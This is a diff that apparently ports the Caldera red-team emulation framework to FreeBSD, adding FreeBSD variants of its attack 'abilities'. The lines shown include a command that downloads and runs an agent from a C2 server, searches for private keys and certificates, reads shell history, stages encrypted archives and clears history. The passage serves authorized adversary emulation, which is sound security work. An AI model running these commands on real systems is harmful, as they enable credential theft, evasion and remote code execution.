+1,11 @@ +-#!/bin/bash ++#!/bin/sh + # generates payloads for each os + +-function build() { ++build() { + GOOS=windows go build -o ../payloads/sandcat.go-windows -ldflags="-s -w" sandcat.go + GOOS=linux go build -o ../payloads/sandcat.go-linux -ldflags="-s -w" sandcat.go + GOOS=darwin go build -o ../payloads/sandcat.go-darwin -ldflags="-s -w" sandcat.go ++GOOS=freebsd go build -o ../payloads/sandcat.go-freebsd -ldflags="-s -w" sandcat.go + } + cd gocat && build + cd .. diff --git a/security/caldera4/files/patch-plugins_stockpile_app_obfuscators_base64__basic.py b/security/caldera4/files/patch-plugins_stockpile_app_obfuscators_base64__basic.py new file mode 100644 index 000000000000..2b4e23a8b9a4 --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_app_obfuscators_base64__basic.py @@ -0,0 +1,12 @@ +--- plugins/stockpile/app/obfuscators/base64_basic.py.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/app/obfuscators/base64_basic.py +@@ -10,7 +10,8 @@ class Obfuscation(BaseObfuscator): + return dict( + windows=['psh'], + darwin=['sh'], +- linux=['sh'] ++ linux=['sh'], ++ freebsd=['sh'] + ) + + """ EXECUTORS """ diff --git a/security/caldera4/files/patch-plugins_stockpile_app_obfuscators_base64__jumble.py b/security/caldera4/files/patch-plugins_stockpile_app_obfuscators_base64__jumble.py new file mode 100644 index 000000000000..281c9eecfc2a --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_app_obfuscators_base64__jumble.py @@ -0,0 +1,12 @@ +--- plugins/stockpile/app/obfuscators/base64_jumble.py.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/app/obfuscators/base64_jumble.py +@@ -14,7 +14,8 @@ class Obfuscation(BaseObfuscator): + return dict( + windows=['psh'], + darwin=['sh'], +- linux=['sh'] ++ linux=['sh'], ++ freebsd=['sh'] + ) + + def run(self, link, **kwargs): diff --git a/security/caldera4/files/patch-plugins_stockpile_app_obfuscators_base64__no__padding.py b/security/caldera4/files/patch-plugins_stockpile_app_obfuscators_base64__no__padding.py new file mode 100644 index 000000000000..f74f3385ccad --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_app_obfuscators_base64__no__padding.py @@ -0,0 +1,12 @@ +--- plugins/stockpile/app/obfuscators/base64_no_padding.py.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/app/obfuscators/base64_no_padding.py +@@ -8,7 +8,8 @@ class Obfuscation(BaseObfuscator): + return dict( + windows=['psh'], + darwin=['sh'], +- linux=['sh'] ++ linux=['sh'], ++ freebsd=['sh'] + ) + + def run(self, link, **kwargs): diff --git a/security/caldera4/files/patch-plugins_stockpile_app_obfuscators_caesar__cipher.py b/security/caldera4/files/patch-plugins_stockpile_app_obfuscators_caesar__cipher.py new file mode 100644 index 000000000000..2d448ea635d0 --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_app_obfuscators_caesar__cipher.py @@ -0,0 +1,12 @@ +--- plugins/stockpile/app/obfuscators/caesar_cipher.py.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/app/obfuscators/caesar_cipher.py +@@ -10,7 +10,8 @@ class Obfuscation(BaseObfuscator): + return dict( + windows=['psh'], + darwin=['sh'], +- linux=['sh'] ++ linux=['sh'], ++ freebsd=['sh'] + ) + + """ EXECUTORS """ diff --git a/security/caldera4/files/patch-plugins_stockpile_app_obfuscators_steganography.py b/security/caldera4/files/patch-plugins_stockpile_app_obfuscators_steganography.py new file mode 100644 index 000000000000..38c1030761f3 --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_app_obfuscators_steganography.py @@ -0,0 +1,12 @@ +--- plugins/stockpile/app/obfuscators/steganography.py.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/app/obfuscators/steganography.py +@@ -14,7 +14,8 @@ class Obfuscation(BaseObfuscator): + def supported_platforms(self): + return dict( + darwin=['sh'], +- linux=['sh'] ++ linux=['sh'], ++ freebsd=['sh'] + ) + + """ EXECUTORS """ diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_collection_02de522f-7e0a-4544-8afc-0c195f400f5f.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_collection_02de522f-7e0a-4544-8afc-0c195f400f5f.yml new file mode 100644 index 000000000000..06f0a024d805 --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_collection_02de522f-7e0a-4544-8afc-0c195f400f5f.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/collection/02de522f-7e0a-4544-8afc-0c195f400f5f.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/collection/02de522f-7e0a-4544-8afc-0c195f400f5f.yml +@@ -15,7 +15,7 @@ + parsers: + plugins.stockpile.app.parsers.ssh: + - source: remote.ssh.cmd +- linux: ++ freebsd,linux: + sh: + command: | + pip install -q stormssh 2> /dev/null && storm list | sed 's/\x1b\[[0-9;]*m//g' diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_collection_10fad81e-3f68-47be-83b6-fbee7711c6a9.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_collection_10fad81e-3f68-47be-83b6-fbee7711c6a9.yml new file mode 100644 index 000000000000..1d2d2ed87474 --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_collection_10fad81e-3f68-47be-83b6-fbee7711c6a9.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/collection/10fad81e-3f68-47be-83b6-fbee7711c6a9.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/collection/10fad81e-3f68-47be-83b6-fbee7711c6a9.yml +@@ -33,7 +33,7 @@ + parsers: + plugins.stockpile.app.parsers.basic: + - source: host.dir.staged +- linux: ++ freebsd,linux: + sh: + command: | + chmod +x ./file_search.sh; ./file_search.sh --extensions '#{linux.included.extensions}' diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_collection_30a8cf10-73dc-497c-8261-a64cc9e91505.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_collection_30a8cf10-73dc-497c-8261-a64cc9e91505.yml new file mode 100644 index 000000000000..08bc5028608a --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_collection_30a8cf10-73dc-497c-8261-a64cc9e91505.yml @@ -0,0 +1,18 @@ +--- plugins/stockpile/data/abilities/collection/30a8cf10-73dc-497c-8261-a64cc9e91505.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/collection/30a8cf10-73dc-497c-8261-a64cc9e91505.yml +@@ -8,7 +8,7 @@ + attack_id: T1560.001 + name: "Archive Collected Data: Archive via Utility" + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + tar -C #{host.dir.staged} -czf - . | gpg -c --pinentry-mode=loopback --passphrase #{host.archive.password} > #{host.dir.staged}.tar.gz.gpg && echo #{host.dir.staged}.tar.gz.gpg +@@ -29,4 +29,4 @@ + - source: host.dir.compress + requirements: + - plugins.stockpile.app.requirements.paw_provenance: +- - source: host.dir.staged +\ No newline at end of file ++ - source: host.dir.staged diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_collection_4e97e699-93d7-4040-b5a3-2e906a58199e.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_collection_4e97e699-93d7-4040-b5a3-2e906a58199e.yml new file mode 100644 index 000000000000..f93fa21c439d --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_collection_4e97e699-93d7-4040-b5a3-2e906a58199e.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/collection/4e97e699-93d7-4040-b5a3-2e906a58199e.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/collection/4e97e699-93d7-4040-b5a3-2e906a58199e.yml +@@ -12,7 +12,7 @@ + sh: + command: | + cp #{host.file.path[filters(technique=T1005,max=3)]} #{host.dir.staged[filters(max=1)]} +- linux: ++ freebsd,linux: + sh: + command: | + cp #{host.file.path[filters(technique=T1005,max=3)]} #{host.dir.staged[filters(max=1)]} diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_collection_6469befa-748a-4b9c-a96d-f191fde47d89.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_collection_6469befa-748a-4b9c-a96d-f191fde47d89.yml new file mode 100644 index 000000000000..43e4ef8bb20b --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_collection_6469befa-748a-4b9c-a96d-f191fde47d89.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/collection/6469befa-748a-4b9c-a96d-f191fde47d89.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/collection/6469befa-748a-4b9c-a96d-f191fde47d89.yml +@@ -17,7 +17,7 @@ + parsers: + plugins.stockpile.app.parsers.basic: + - source: host.dir.staged +- linux: ++ freebsd,linux: + sh: + command: | + mkdir -p staged && echo $PWD/staged diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_collection_720a3356-eee1-4015-9135-0fc08f7eb2d5.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_collection_720a3356-eee1-4015-9135-0fc08f7eb2d5.yml new file mode 100644 index 000000000000..a5bf3dd80e57 --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_collection_720a3356-eee1-4015-9135-0fc08f7eb2d5.yml @@ -0,0 +1,18 @@ +--- plugins/stockpile/data/abilities/collection/720a3356-eee1-4015-9135-0fc08f7eb2d5.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/collection/720a3356-eee1-4015-9135-0fc08f7eb2d5.yml +@@ -6,7 +6,7 @@ + attack_id: T1005 + name: Data from Local System + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + for directoryname in $(find /home/ -name '.git' -type d 2>/dev/null | head -5); do +@@ -21,4 +21,4 @@ + Get-ChildItem C:\Users -Attributes Directory+Hidden -ErrorAction SilentlyContinue -Filter ".git" -Recurse | foreach {$_.parent.FullName} | Select-Object; exit 0; + parsers: + plugins.stockpile.app.parsers.basic: +- - source: host.dir.git +\ No newline at end of file ++ - source: host.dir.git diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_collection_89955f55-529d-4d58-bed4-fed9e42515ec.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_collection_89955f55-529d-4d58-bed4-fed9e42515ec.yml new file mode 100644 index 000000000000..45cd636b78b1 --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_collection_89955f55-529d-4d58-bed4-fed9e42515ec.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/collection/89955f55-529d-4d58-bed4-fed9e42515ec.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/collection/89955f55-529d-4d58-bed4-fed9e42515ec.yml +@@ -12,7 +12,7 @@ + sh: + command: | + curl #{remote.host.socket} +- linux: ++ freebsd,linux: + sh: + command: | + curl #{remote.host.socket} diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_collection_90c2efaa-8205-480d-8bb6-61d90dbaf81b.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_collection_90c2efaa-8205-480d-8bb6-61d90dbaf81b.yml new file mode 100644 index 000000000000..d9d913ade3c7 --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_collection_90c2efaa-8205-480d-8bb6-61d90dbaf81b.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/collection/90c2efaa-8205-480d-8bb6-61d90dbaf81b.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/collection/90c2efaa-8205-480d-8bb6-61d90dbaf81b.yml +@@ -27,7 +27,7 @@ + - source: host.file.path + edge: has_extension + target: file.sensitive.extension +- linux: ++ freebsd,linux: + sh: + command: | + find / -name '*.#{file.sensitive.extension}' -type f -not -path '*/\.*' -size -500k 2>/dev/null | head -5 diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_collection_b007fe0c-c6b0-4fda-915c-255bbc070de2.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_collection_b007fe0c-c6b0-4fda-915c-255bbc070de2.yml new file mode 100644 index 000000000000..c21d7db379f6 --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_collection_b007fe0c-c6b0-4fda-915c-255bbc070de2.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/collection/b007fe0c-c6b0-4fda-915c-255bbc070de2.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/collection/b007fe0c-c6b0-4fda-915c-255bbc070de2.yml +@@ -16,7 +16,7 @@ + psh,pwsh: + command: | + Get-Clipboard -raw +- linux: ++ freebsd,linux: + sh: + command: | + xclip -o diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_command-and-control_0ab383be-b819-41bf-91b9-1bd4404d83bf.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_command-and-control_0ab383be-b819-41bf-91b9-1bd4404d83bf.yml new file mode 100644 index 000000000000..e369cd256f0c --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_command-and-control_0ab383be-b819-41bf-91b9-1bd4404d83bf.yml @@ -0,0 +1,15 @@ +--- plugins/stockpile/data/abilities/command-and-control/0ab383be-b819-41bf-91b9-1bd4404d83bf.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/command-and-control/0ab383be-b819-41bf-91b9-1bd4404d83bf.yml +@@ -24,3 +24,12 @@ + python ragdoll.py -W $server#{app.contact.html} + cleanup: | + pkill -f ragdoll ++ freebsd: ++ sh: ++ command: | ++ server="#{app.contact.http}"; ++ curl -s -X POST -H "file:ragdoll.py" -H "platform:freebsd" $server/file/download > ragdoll.py; ++ pip install requests beautifulsoup4; ++ python ragdoll.py -W $server#{app.contact.html} ++ cleanup: | ++ pkill -f ragdoll diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_credential-access_422526ec-27e9-429a-995b-c686a29561a4.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_credential-access_422526ec-27e9-429a-995b-c686a29561a4.yml new file mode 100644 index 000000000000..e618197bae13 --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_credential-access_422526ec-27e9-429a-995b-c686a29561a4.yml @@ -0,0 +1,12 @@ +--- plugins/stockpile/data/abilities/credential-access/422526ec-27e9-429a-995b-c686a29561a4.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/credential-access/422526ec-27e9-429a-995b-c686a29561a4.yml +@@ -20,3 +20,9 @@ + parsers: + plugins.stockpile.app.parsers.ssh: + - source: remote.ssh.cmd ++ freebsd: ++ sh: ++ command: cat ~/.history ++ parsers: ++ plugins.stockpile.app.parsers.ssh: ++ - source: remote.ssh.cmd diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_credential-access_de632c2d-a729-4b77-b781-6a6b09c148ba.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_credential-access_de632c2d-a729-4b77-b781-6a6b09c148ba.yml new file mode 100644 index 000000000000..6558aabecb22 --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_credential-access_de632c2d-a729-4b77-b781-6a6b09c148ba.yml @@ -0,0 +1,13 @@ +--- plugins/stockpile/data/abilities/credential-access/de632c2d-a729-4b77-b781-6a6b09c148ba.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/credential-access/de632c2d-a729-4b77-b781-6a6b09c148ba.yml +@@ -19,7 +19,7 @@ + sh: + command: | + for i in .key .pgp .gpg .ppk .p12 .pem .pfx .cer .p7b .asc .crt;do find /Users -maxdepth 3 -name "*${i}" 2>/dev/null;done; +- linux: ++ freebsd,linux: + sh: + command: | +- for i in .key .pgp .gpg .ppk .p12 .pem .pfx .cer .p7b .asc .crt;do find /etc -maxdepth 3 -name "*${i}" 2>/dev/null;done; +\ No newline at end of file ++ for i in .key .pgp .gpg .ppk .p12 .pem .pfx .cer .p7b .asc .crt;do find /etc -maxdepth 3 -name "*${i}" 2>/dev/null;done; diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_defense-evasion_36eecb80-ede3-442b-8774-956e906aff02.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_defense-evasion_36eecb80-ede3-442b-8774-956e906aff02.yml new file mode 100644 index 000000000000..81bbb5325bd5 --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_defense-evasion_36eecb80-ede3-442b-8774-956e906aff02.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/defense-evasion/36eecb80-ede3-442b-8774-956e906aff02.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/defense-evasion/36eecb80-ede3-442b-8774-956e906aff02.yml +@@ -11,7 +11,7 @@ + darwin: + sh: + command: sleep 60 +- linux: ++ freebsd,linux: + sh: + command: sleep 60 + windows: diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_defense-evasion_43b3754c-def4-4699-a673-1d85648fda6a.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_defense-evasion_43b3754c-def4-4699-a673-1d85648fda6a.yml new file mode 100644 index 000000000000..6d8cfc3162c4 --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_defense-evasion_43b3754c-def4-4699-a673-1d85648fda6a.yml @@ -0,0 +1,15 @@ +--- plugins/stockpile/data/abilities/defense-evasion/43b3754c-def4-4699-a673-1d85648fda6a.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/defense-evasion/43b3754c-def4-4699-a673-1d85648fda6a.yml +@@ -16,6 +16,10 @@ + sh: + command: | + > $HOME/.bash_history && unset HISTFILE ++ freebsd: ++ sh: ++ command: | ++ > $HOME/.history && set history = 0 + windows: + psh: +- command: Clear-History;Clear +\ No newline at end of file ++ command: Clear-History;Clear diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_defense-evasion_4cd4eb44-29a7-4259-91ae-e457b283a880.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_defense-evasion_4cd4eb44-29a7-4259-91ae-e457b283a880.yml new file mode 100644 index 000000000000..51d0b7dd24dd --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_defense-evasion_4cd4eb44-29a7-4259-91ae-e457b283a880.yml @@ -0,0 +1,17 @@ +--- plugins/stockpile/data/abilities/defense-evasion/4cd4eb44-29a7-4259-91ae-e457b283a880.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/defense-evasion/4cd4eb44-29a7-4259-91ae-e457b283a880.yml +@@ -12,11 +12,11 @@ + sh: + cleanup: | + rm #{payload} +- linux: ++ freebsd,linux: + sh: + cleanup: | + rm #{payload} + windows: + psh,pwsh: + cleanup: | +- Remove-Item -Force -Path "#{payload}" +\ No newline at end of file ++ Remove-Item -Force -Path "#{payload}" diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_defense-evasion_5f844ac9-5f24-4196-a70d-17f0bd44a934.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_defense-evasion_5f844ac9-5f24-4196-a70d-17f0bd44a934.yml new file mode 100644 index 000000000000..d5ca5155314f --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_defense-evasion_5f844ac9-5f24-4196-a70d-17f0bd44a934.yml @@ -0,0 +1,15 @@ +--- plugins/stockpile/data/abilities/defense-evasion/5f844ac9-5f24-4196-a70d-17f0bd44a934.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/defense-evasion/5f844ac9-5f24-4196-a70d-17f0bd44a934.yml +@@ -25,9 +25,9 @@ + path="$(pwd)/#{exe_name}"; + num_processes=$(for id in $(pgrep -f #{exe_name}); do lsof -p $id 2> /dev/null | grep "$path"; done | wc -l); + if [ "$num_processes" -le 1 ]; then /bin/rm -f "$path"; fi; +- linux: ++ freebsd,linux: + sh: + command: | + path="$(pwd)/#{exe_name}"; + num_processes=$(for id in $(pgrep -f #{exe_name}); do lsof -p $id 2> /dev/null | grep "$path"; done | wc -l); +- if [ "$num_processes" -le 1 ]; then /bin/rm -f "$path"; fi; +\ No newline at end of file ++ if [ "$num_processes" -le 1 ]; then /bin/rm -f "$path"; fi; diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_30732a56-4a23-4307-9544-09caf2ed29d5.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_30732a56-4a23-4307-9544-09caf2ed29d5.yml new file mode 100644 index 000000000000..eb1e2728e0be --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_30732a56-4a23-4307-9544-09caf2ed29d5.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/discovery/30732a56-4a23-4307-9544-09caf2ed29d5.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/30732a56-4a23-4307-9544-09caf2ed29d5.yml +@@ -12,7 +12,7 @@ + sh: + command: | + find / -type d -user #{host.user.name} \( -perm -g+w -or -perm -o+w \) 2>/dev/null -exec ls -adl {} \; +- linux: ++ freebsd,linux: + sh: + command: | + find / -type d -user #{host.user.name} \( -perm -g+w -or -perm -o+w \) 2>/dev/null -exec ls -adl {} \; diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_335cea7b-bec0-48c6-adfb-6066070f5f68.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_335cea7b-bec0-48c6-adfb-6066070f5f68.yml new file mode 100644 index 000000000000..f85f5fb163dd --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_335cea7b-bec0-48c6-adfb-6066070f5f68.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/discovery/335cea7b-bec0-48c6-adfb-6066070f5f68.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/335cea7b-bec0-48c6-adfb-6066070f5f68.yml +@@ -12,7 +12,7 @@ + sh: + command: | + ps +- linux: ++ freebsd,linux: + sh: + command: | + ps diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_3a2ce3d5-e9e2-4344-ae23-470432ff8687.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_3a2ce3d5-e9e2-4344-ae23-470432ff8687.yml new file mode 100644 index 000000000000..1f0678a03bf0 --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_3a2ce3d5-e9e2-4344-ae23-470432ff8687.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/discovery/3a2ce3d5-e9e2-4344-ae23-470432ff8687.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/3a2ce3d5-e9e2-4344-ae23-470432ff8687.yml +@@ -12,7 +12,7 @@ + sh: + command: | + nmap -sV -p #{remote.host.port} #{remote.host.ip} +- linux: ++ freebsd,linux: + sh: + command: | + nmap -sV -p #{remote.host.port} #{remote.host.ip} diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_3b5db901-2cb8-4df7-8043-c4628a6a5d5a.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_3b5db901-2cb8-4df7-8043-c4628a6a5d5a.yml new file mode 100644 index 000000000000..9b6d16a6890e --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_3b5db901-2cb8-4df7-8043-c4628a6a5d5a.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/discovery/3b5db901-2cb8-4df7-8043-c4628a6a5d5a.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/3b5db901-2cb8-4df7-8043-c4628a6a5d5a.yml +@@ -12,7 +12,7 @@ + sh: + command: | + ps aux | grep #{host.user.name} +- linux: ++ freebsd,linux: + sh: + command: | + ps aux | grep #{host.user.name} diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_47abe1f5-55a5-46cc-8cad-506dac8ea6d9.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_47abe1f5-55a5-46cc-8cad-506dac8ea6d9.yml new file mode 100644 index 000000000000..537f8779c2a9 --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_47abe1f5-55a5-46cc-8cad-506dac8ea6d9.yml @@ -0,0 +1,17 @@ +--- plugins/stockpile/data/abilities/discovery/47abe1f5-55a5-46cc-8cad-506dac8ea6d9.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/47abe1f5-55a5-46cc-8cad-506dac8ea6d9.yml +@@ -28,3 +28,14 @@ + target: remote.host.port + payloads: + - scanner.py ++ freebsd: ++ sh: ++ command: | ++ python3.9 scanner.py -i #{remote.host.ip} ++ parsers: ++ plugins.stockpile.app.parsers.scan: ++ - source: remote.host.ip ++ edge: has_open_port ++ target: remote.host.port ++ payloads: ++ - scanner.py diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_52177cc1-b9ab-4411-ac21-2eadc4b5d3b8.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_52177cc1-b9ab-4411-ac21-2eadc4b5d3b8.yml new file mode 100644 index 000000000000..e29e243da46c --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_52177cc1-b9ab-4411-ac21-2eadc4b5d3b8.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/discovery/52177cc1-b9ab-4411-ac21-2eadc4b5d3b8.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/52177cc1-b9ab-4411-ac21-2eadc4b5d3b8.yml +@@ -12,7 +12,7 @@ + sh: + command: | + ls +- linux: ++ freebsd,linux: + sh: + command: | + ls diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_5a39d7ed-45c9-4a79-b581-e5fb99e24f65.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_5a39d7ed-45c9-4a79-b581-e5fb99e24f65.yml new file mode 100644 index 000000000000..4adc35e7b332 --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_5a39d7ed-45c9-4a79-b581-e5fb99e24f65.yml @@ -0,0 +1,12 @@ +--- plugins/stockpile/data/abilities/discovery/5a39d7ed-45c9-4a79-b581-e5fb99e24f65.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/5a39d7ed-45c9-4a79-b581-e5fb99e24f65.yml +@@ -42,6 +42,6 @@ + darwin: + sh: + command: ps aux +- linux: ++ freebsd,linux: + sh: +- command: ps aux +\ No newline at end of file ++ command: ps aux diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_5c4dd985-89e3-4590-9b57-71fed66ff4e2.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_5c4dd985-89e3-4590-9b57-71fed66ff4e2.yml new file mode 100644 index 000000000000..493ff051dcdd --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_5c4dd985-89e3-4590-9b57-71fed66ff4e2.yml @@ -0,0 +1,12 @@ +--- plugins/stockpile/data/abilities/discovery/5c4dd985-89e3-4590-9b57-71fed66ff4e2.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/5c4dd985-89e3-4590-9b57-71fed66ff4e2.yml +@@ -15,6 +15,6 @@ + darwin: + sh: + command: groups +- linux: ++ freebsd,linux: + sh: +- command: groups +\ No newline at end of file ++ command: groups diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_5f77ecf9-613f-4863-8d2f-ed6b447a4633.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_5f77ecf9-613f-4863-8d2f-ed6b447a4633.yml new file mode 100644 index 000000000000..09037b912637 --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_5f77ecf9-613f-4863-8d2f-ed6b447a4633.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/discovery/5f77ecf9-613f-4863-8d2f-ed6b447a4633.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/5f77ecf9-613f-4863-8d2f-ed6b447a4633.yml +@@ -12,7 +12,7 @@ + sh: + command: | + cat ~/.ssh/known_hosts +- linux: ++ freebsd,linux: + sh: + command: | + cat ~/.ssh/known_hosts diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_638fb6bb-ba39-4285-93d1-7e4775b033a8.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_638fb6bb-ba39-4285-93d1-7e4775b033a8.yml new file mode 100644 index 000000000000..5c197bd60b6a --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_638fb6bb-ba39-4285-93d1-7e4775b033a8.yml @@ -0,0 +1,13 @@ +--- plugins/stockpile/data/abilities/discovery/638fb6bb-ba39-4285-93d1-7e4775b033a8.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/638fb6bb-ba39-4285-93d1-7e4775b033a8.yml +@@ -15,6 +15,10 @@ + sh: + command: | + netstat -anto ++ freebsd: ++ sh: ++ command: | ++ netstat -aSp tcp + windows: + psh: + command: | diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_discovery_6c91884e-11ec-422f-a6ed-e76774b0daac.yml 